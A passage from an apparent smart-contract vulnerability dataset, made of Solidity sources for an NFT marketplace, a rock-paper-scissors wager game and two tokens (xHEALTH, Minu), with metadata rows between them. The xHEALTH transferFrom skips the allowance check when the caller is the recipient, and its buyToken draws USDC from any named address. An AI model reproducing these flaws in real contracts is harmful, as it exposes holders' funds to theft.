}
modifier validListing(address _collectionAddress,
uint256 _tokenId,
address _owner) {
Listing memory listedItem = listings[_collectionAddress][_tokenId][_owner];
if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721 nft = IERC721(_collectionAddress);
require(nft.ownerOf(_tokenId) == _owner, "not owning item");
} else if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC1155)) {
IERC1155 nft = IERC1155(_collectionAddress);
require(nft.balanceOf(_owner, _tokenId) >= listedItem.quantity, "not owning item");
} else {
revert("invalid nft address");
}
require(listedItem.expirationDate >= block.timestamp, "listing expired");
_;
}
constructor() {
setFee(500);
setFeeRecipient(0x57996f36C470e9f926eFDE94d816a812a2Af4cEa);
setTransactionDictionary(0x97333eFF74e170f93094238c67093c307a6f8f7D);
setPaymentToken(0xB47e6A5f8b33b3F17603C83a0535A9dcD7E32681); //weth rinkeby address
}
function createListing(address _collectionAddress,
uint256 _tokenId,
uint256 _quantity,
uint256 _pricePerItem,
uint256 _expirationDate) external {
require(listings[_collectionAddress][_tokenId][_msgSender()].quantity == 0, "already listed");
if (_expirationDate == 0) _expirationDate = type(uint256).max;
require(_expirationDate > block.timestamp, "invalid expiration time");
require(_quantity > 0, "nothing to list");
if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721 nft = IERC721(_collectionAddress);
require(nft.ownerOf(_tokenId) == _msgSender(), "not owning item");
require(nft.isApprovedForAll(_msgSender(), address(this)), "item not approved");
} else if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC1155)) {
IERC1155 nft = IERC1155(_collectionAddress);
require(nft.balanceOf(_msgSender(), _tokenId) >= _quantity, "must hold enough nfts");
require(nft.isApprovedForAll(_msgSender(), address(this)), "item not approved");
} else {
revert("invalid nft address");
}
listings[_collectionAddress][_tokenId][_msgSender()] = Listing(_quantity,
_pricePerItem,
_expirationDate);
emit ItemListed(_msgSender(),
_collectionAddress,
_tokenId,
_quantity,
_pricePerItem,
_expirationDate);
}
function updateListing(address _collectionAddress,
uint256 _tokenId,
uint256 _newQuantity,
uint256 _newPricePerItem,
uint256 _newExpirationDate) external nonReentrant isListed(_collectionAddress, _tokenId, _msgSender()) {
require(_newExpirationDate > block.timestamp, "invalid expiration time");
Listing storage listedItem = listings[_collectionAddress][_tokenId][_msgSender()];
if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721 nft = IERC721(_collectionAddress);
require(nft.ownerOf(_tokenId) == _msgSender(), "not owning item");
} else if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC1155)) {
IERC1155 nft = IERC1155(_collectionAddress);
require(nft.balanceOf(_msgSender(), _tokenId) >= _newQuantity, "must hold enough nfts");
} else {
revert("invalid nft address");
}
listedItem.quantity = _newQuantity;
listedItem.pricePerItem = _newPricePerItem;
listedItem.expirationDate = _newExpirationDate;
emit ItemUpdated(_msgSender(),
_collectionAddress,
_tokenId,
_newQuantity,
_newPricePerItem,
_newExpirationDate);
}
function cancelListing(address _collectionAddress, uint256 _tokenId)
external
nonReentrant
isListed(_collectionAddress, _tokenId, _msgSender())
{
_cancelListing(_collectionAddress, _tokenId, _msgSender());
}
function _cancelListing(address _collectionAddress,
uint256 _tokenId,
address _owner) internal {
Listing memory listedItem = listings[_collectionAddress][_tokenId][_owner];
if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721 nft = IERC721(_collectionAddress);
require(nft.ownerOf(_tokenId) == _owner, "not owning item");
} else if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC1155)) {
IERC1155 nft = IERC1155(_collectionAddress);
require(nft.balanceOf(_msgSender(), _tokenId) >= listedItem.quantity, "not owning item");
} else {
revert("invalid nft address");
}
delete (listings[_collectionAddress][_tokenId][_owner]);
emit ItemCanceled(_owner, _collectionAddress, _tokenId);
}
function buyItem(address _collectionAddress,
uint256 _tokenId,
address _owner,
uint256 _quantity)
external
nonReentrant
isListed(_collectionAddress, _tokenId, _owner)
validListing(_collectionAddress, _tokenId, _owner)
{
require(_msgSender() != _owner, "Cannot buy your own item");
Listing memory listedItem = listings[_collectionAddress][_tokenId][_owner];
require(listedItem.quantity >= _quantity, "not enough quantity");
// Transfer NFT to buyer
if (IERC165(_collectionAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721(_collectionAddress).safeTransferFrom(_owner, _msgSender(), _tokenId);
} else {
IERC1155(_collectionAddress).safeTransferFrom(_owner, _msgSender(), _tokenId, _quantity, bytes(""));
}
if (listedItem.quantity == _quantity) {
delete (listings[_collectionAddress][_tokenId][_owner]);
} else {
listings[_collectionAddress][_tokenId][_owner].quantity -= _quantity;
}
emit ItemSold(_owner,
_msgSender(),
_collectionAddress,
_tokenId,
_quantity,
listedItem.pricePerItem);
BytPriceDictionary(transactionDictionary).reportSale(_collectionAddress, _tokenId, paymentToken, listedItem.pricePerItem);
_buyItem(listedItem.pricePerItem, _quantity, _owner);
}
function _buyItem(uint256 _pricePerItem,
uint256 _quantity,
address _owner) internal {
uint256 totalPrice = _pricePerItem * _quantity;
uint256 feeAmount = totalPrice * fee / BASIS_POINTS;
IERC20(paymentToken).safeTransferFrom(_msgSender(), feeReceipient, feeAmount);
IERC20(paymentToken).safeTransferFrom(_msgSender(), _owner, totalPrice - feeAmount);
}
// admin
function setFee(uint256 _fee) public onlyOwner {
require(_fee < BASIS_POINTS, "max fee");
fee = _fee;
emit UpdateFee(_fee);
}
function setFeeRecipient(address _feeRecipient) public onlyOwner {
feeReceipient = _feeRecipient;
emit UpdateFeeRecipient(_feeRecipient);
}
function setTransactionDictionary(address _transactionDictionary) public onlyOwner {
transactionDictionary = _transactionDictionary;
emit UpdateTransactionDictionary(_transactionDictionary);
}
function setPaymentToken(address _paymentToken) public onlyOwner {
paymentToken = _paymentToken;
emit UpdatePaymentToken(_paymentToken);
}
function setTransactionDictionaryOwner(address _newOwner) public onlyOwner {
BytPriceDictionary(transactionDictionary).transferOwnership(_newOwner);
}
}
contract BytPriceDictionary is Ownable {
struct Price {
uint256 price;
address denomination;
}
/// _collectionAddress => _tokenId => Price
mapping(address => mapping(uint256 => Price)) public getPrice;
event PriceUpdate(address indexed nftAddress, uint256 indexed tokenId, address paymentToken, uint256 pricePerItem);
function reportSale(address _collectionAddress, uint256 _tokenId, address _paymentToken, uint256 _pricePerItem) external onlyOwner {
getPrice[_collectionAddress][_tokenId] = Price(_pricePerItem, _paymentToken);
emit PriceUpdate(_collectionAddress, _tokenId, _paymentToken, _pricePerItem);
}
}
| 55,111 | 12,245 |
80c50a7ed4edf25d1ed85da8dddf5f4093be930dea160dfc81af5c0f85f690bb
| 9,865 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0xcdbaa1f3cc1113284e13a1a4a658f7564c7d6ed7.sol
| 2,597 | 9,712 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract AccessControl is SafeMath{
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
address newContractAddress;
uint public tip_total = 0;
uint public tip_rate = 20000000000000000;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress);
_;
}
function () public payable{
tip_total = safeAdd(tip_total, msg.value);
}
/// @dev Count amount with tip.
/// @param amount The totalAmount
function amountWithTip(uint amount) internal returns(uint){
uint tip = safeMul(amount, tip_rate) / (1 ether);
tip_total = safeAdd(tip_total, tip);
return safeSub(amount, tip);
}
/// @dev Withdraw Tip.
function withdrawTip(uint amount) external onlyCFO {
require(amount > 0 && amount <= tip_total);
require(msg.sender.send(amount));
tip_total = tip_total - amount;
}
// updgrade
function setNewAddress(address newContract) external onlyCEO whenPaused {
newContractAddress = newContract;
emit ContractUpgrade(newContract);
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param _newCFO The address of the new CFO
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
contract RpsGame is SafeMath , AccessControl{
/// @dev Constant definition
uint8 constant public NONE = 0;
uint8 constant public ROCK = 10;
uint8 constant public PAPER = 20;
uint8 constant public SCISSORS = 30;
uint8 constant public DEALERWIN = 201;
uint8 constant public PLAYERWIN = 102;
uint8 constant public DRAW = 101;
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event CreateGame(uint gameid, address dealer, uint amount);
event JoinGame(uint gameid, address player, uint amount);
event Reveal(uint gameid, address player, uint8 choice);
event CloseGame(uint gameid,address dealer,address player, uint8 result);
/// @dev struct of a game
struct Game {
uint expireTime;
address dealer;
uint dealerValue;
bytes32 dealerHash;
uint8 dealerChoice;
address player;
uint8 playerChoice;
uint playerValue;
uint8 result;
bool closed;
}
/// @dev struct of a game
mapping (uint => mapping(uint => uint8)) public payoff;
mapping (uint => Game) public games;
mapping (address => uint[]) public gameidsOf;
/// @dev Current game maximum id
uint public maxgame = 0;
uint public expireTimeLimit = 30 minutes;
/// @dev Initialization contract
function RpsGame() {
payoff[ROCK][ROCK] = DRAW;
payoff[ROCK][PAPER] = PLAYERWIN;
payoff[ROCK][SCISSORS] = DEALERWIN;
payoff[PAPER][ROCK] = DEALERWIN;
payoff[PAPER][PAPER] = DRAW;
payoff[PAPER][SCISSORS] = PLAYERWIN;
payoff[SCISSORS][ROCK] = PLAYERWIN;
payoff[SCISSORS][PAPER] = DEALERWIN;
payoff[SCISSORS][SCISSORS] = DRAW;
payoff[NONE][NONE] = DRAW;
payoff[ROCK][NONE] = DEALERWIN;
payoff[PAPER][NONE] = DEALERWIN;
payoff[SCISSORS][NONE] = DEALERWIN;
payoff[NONE][ROCK] = PLAYERWIN;
payoff[NONE][PAPER] = PLAYERWIN;
payoff[NONE][SCISSORS] = PLAYERWIN;
ceoAddress = msg.sender;
cooAddress = msg.sender;
cfoAddress = msg.sender;
}
/// @dev Create a game
function createGame(bytes32 dealerHash, address player) public payable whenNotPaused returns (uint){
require(dealerHash != 0x0);
maxgame += 1;
Game storage game = games[maxgame];
game.dealer = msg.sender;
game.player = player;
game.dealerHash = dealerHash;
game.dealerChoice = NONE;
game.dealerValue = msg.value;
game.expireTime = expireTimeLimit + now;
gameidsOf[msg.sender].push(maxgame);
emit CreateGame(maxgame, game.dealer, game.dealerValue);
return maxgame;
}
/// @dev Join a game
function joinGame(uint gameid, uint8 choice) public payable whenNotPaused returns (uint){
Game storage game = games[gameid];
require(msg.value == game.dealerValue && game.dealer != address(0) && game.dealer != msg.sender && game.playerChoice==NONE);
require(game.player == address(0) || game.player == msg.sender);
require(!game.closed);
require(now < game.expireTime);
require(checkChoice(choice));
game.player = msg.sender;
game.playerChoice = choice;
game.playerValue = msg.value;
game.expireTime = expireTimeLimit + now;
gameidsOf[msg.sender].push(gameid);
emit JoinGame(gameid, game.player, game.playerValue);
return gameid;
}
/// @dev Creator reveals game choice
function reveal(uint gameid, uint8 choice, bytes32 randomSecret) public returns (bool) {
Game storage game = games[gameid];
bytes32 proof = getProof(msg.sender, choice, randomSecret);
require(!game.closed);
require(now < game.expireTime);
require(game.dealerHash != 0x0);
require(checkChoice(choice));
require(checkChoice(game.playerChoice));
require(game.dealer == msg.sender && proof == game.dealerHash);
game.dealerChoice = choice;
Reveal(gameid, msg.sender, choice);
close(gameid);
return true;
}
/// @dev Close game settlement rewards
function close(uint gameid) public returns(bool) {
Game storage game = games[gameid];
require(!game.closed);
require(now > game.expireTime || (game.dealerChoice != NONE && game.playerChoice != NONE));
uint8 result = payoff[game.dealerChoice][game.playerChoice];
if(result == DEALERWIN){
require(game.dealer.send(amountWithTip(safeAdd(game.dealerValue, game.playerValue))));
}else if(result == PLAYERWIN){
require(game.player.send(amountWithTip(safeAdd(game.dealerValue, game.playerValue))));
}else if(result == DRAW){
require(game.dealer.send(game.dealerValue) && game.player.send(game.playerValue));
}
game.closed = true;
game.result = result;
emit CloseGame(gameid, game.dealer, game.player, result);
return game.closed;
}
function getProof(address sender, uint8 choice, bytes32 randomSecret) public view returns (bytes32){
return sha3(sender, choice, randomSecret);
}
function gameCountOf(address owner) public view returns (uint){
return gameidsOf[owner].length;
}
function checkChoice(uint8 choice) public view returns (bool){
return choice==ROCK||choice==PAPER||choice==SCISSORS;
}
}
| 209,430 | 12,246 |
cf52e3b7b75b0cd8961c716a30ea4e8ea0df94668e039bf89bb1fd92f78cd915
| 13,728 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b6/B63670cb5b74CE22b327b174B1D9C4c926e16b66_xHEALTH.sol
| 3,547 | 13,545 |
pragma solidity ^0.8.6;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size; assembly { size := extcodesize(account) } return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) { return returndata; } else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {revert(errorMessage);}
}
}
}
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
}
contract xHEALTH is IERC20Metadata, Ownable {
using SafeMath for uint256;
using Address for address;
string constant _name = "xHEALTH";
string constant _symbol = "xHEALTH";
uint8 constant _decimals = 18;
uint256 internal _totalSupply = 200000 * (10**18);
bool public isPresale = true;
bool public isInSale = false;
uint256 public pricePerToken = 10;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isInWhitelist;
address private teamWallet = 0x99fAF01F9DdF9E14e3Dd5c29FDc2bd978d4144BC;
IERC20 _USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
constructor() {
_balances[msg.sender] = _totalSupply;
_USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
_approve(owner(), address(this), ~uint256(0));
emit Transfer(address(0), msg.sender, _totalSupply);
}
function setUSDC(address USDC) public onlyOwner {
_USDC = IERC20(USDC);
}
function changeTeamWallet(address newWallet) public onlyOwner {
teamWallet = newWallet;
}
function setTokenPrice(uint256 _price) public onlyOwner {
pricePerToken = _price;
}
function includeInWhitelist(address _addr) public onlyOwner {
isInWhitelist[_addr] = true;
}
function excludedFromWhitelist(address _addr) public onlyOwner {
isInWhitelist[_addr] = false;
}
function tooglePresale(bool state) public onlyOwner {
isPresale = state;
}
function toogleSale(bool state) public onlyOwner {
isInSale = state;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function name() external pure returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if(msg.sender != recipient)
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "xHEALTH: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "xHEALTH: decreased allowance below zero"));
return true;
}
function buyToken(address buyer, uint256 amount) public {
require(isInSale == true || isPresale == true, "xHEALTH: sale finished.");
if(isPresale == true) {
require(isInWhitelist[buyer] == true, "xHEALTH: you can't buy token now.");
}
require(_USDC.transferFrom(buyer, teamWallet, amount) == true, "xHEALTH: usdc transfer failed.");
require(amount <= _balances[owner()], "xHEALTH: insufficient balance in owner.");
_transfer(owner(), buyer, (amount * (10**12)).div(pricePerToken));
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "xHEALTH: transfer from the zero address");
require(recipient != address(0), "xHEALTH: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "xHEALTH: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "xHEALTH: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "xHEALTH: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "xHEALTH: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "xHEALTH: approve from the zero address");
require(spender != address(0), "xHEALTH: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "xHEALTH: burn amount exceeds allowance"));
}
}
| 90,248 | 12,247 |
104c379bc6c0fe814a00a84f19f53a8d19ce22d5c472edb1bfd5c3ee7fd797bd
| 14,415 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9a/9a10bbf2e542d77e253bacc99465034499a36ff1_Minu.sol
| 3,616 | 13,781 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WWDOGE() external pure returns (address);
function addLiquidityWDOGE(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForWDOGESupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
contract Minu is ERC20, Ownable {
// Events
event SetMaxWallet(uint256 maxWalletToken);
event SetFees(uint256 DevFee);
event SetSwapBackSettings(bool enabled, uint256 swapThreshold);
event SetIsFeeExempt(address holder, bool enabled);
event SetIsTxLimitExempt(address holder, bool enabled);
event SetFeeReceiver(address DevWallet);
event StuckBalanceSent(uint256 amountETH, address recipient);
// Mappings
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
// Basic Contract Info
string constant _name = "Musk Inu";
string constant _symbol = "Minu";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1000000000 * (10 ** _decimals);
// Max wallet
uint256 public _maxWalletSize = (_totalSupply * 10) / 100;
uint256 public _maxTxSize = (_totalSupply * 10) / 100;
// Fee receiver
uint256 public DevFeeBuy = 0;
uint256 public MarketingFeeBuy = 4;
uint256 public LiquidityFeeBuy = 1;
uint256 public DevFeeSell = 0;
uint256 public MarketingFeeSell = 4;
uint256 public LiquidityFeeSell = 1;
uint256 public TotalBase = DevFeeBuy + DevFeeSell + MarketingFeeBuy + MarketingFeeSell + LiquidityFeeBuy + LiquidityFeeSell;
// Fee receiver & Dead Wallet
address public DevWallet;
address public MarketingWallet;
address constant private DEAD = 0x000000000000000000000000000000000000dEaD;
// Router
IDEXRouter public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = (_totalSupply * 10) / 100 ;
bool public isTradingEnabled = false;
address public tradingEnablerRole;
uint256 public tradingTimestamp;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor() Ownable(msg.sender) {
router = IDEXRouter(0x72Ce9c846789fdB6fC1f34aC4AD25Dd9ef7031ef);
_allowances[address(this)][address(router)] = type(uint256).max;
address _owner = owner;
DevWallet = msg.sender;
MarketingWallet = msg.sender;
isFeeExempt[_owner] = true;
isTxLimitExempt[_owner] = true;
isFeeExempt[MarketingWallet] = true;
isTxLimitExempt[MarketingWallet] = true;
tradingEnablerRole = _owner;
tradingTimestamp = block.timestamp;
_balances[MarketingWallet] = _totalSupply * 100 / 100;
emit Transfer(address(0), MarketingWallet, _totalSupply * 100 / 100);
}
receive() external payable { }
// Basic Internal Functions
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
////////////////////////////////////////////////
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - (amount);
}
return _transferFrom(sender, recipient, amount);
}
function getPair() public onlyOwner {
pair = IDEXFactory(router.factory()).getPair(address(this), router.WWDOGE());
if (pair == address(0)) {pair = IDEXFactory(router.factory()).createPair(address(this), router.WWDOGE());}
}
function renounceTradingEnablerRole() public {
require(tradingEnablerRole == msg.sender, 'incompatible role!');
tradingEnablerRole = address(0x0);
}
function setIsTradingEnabled(bool _isTradingEnabled) public {
require(tradingEnablerRole == msg.sender, 'incompatible role!');
isTradingEnabled = _isTradingEnabled;
tradingTimestamp = block.timestamp;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
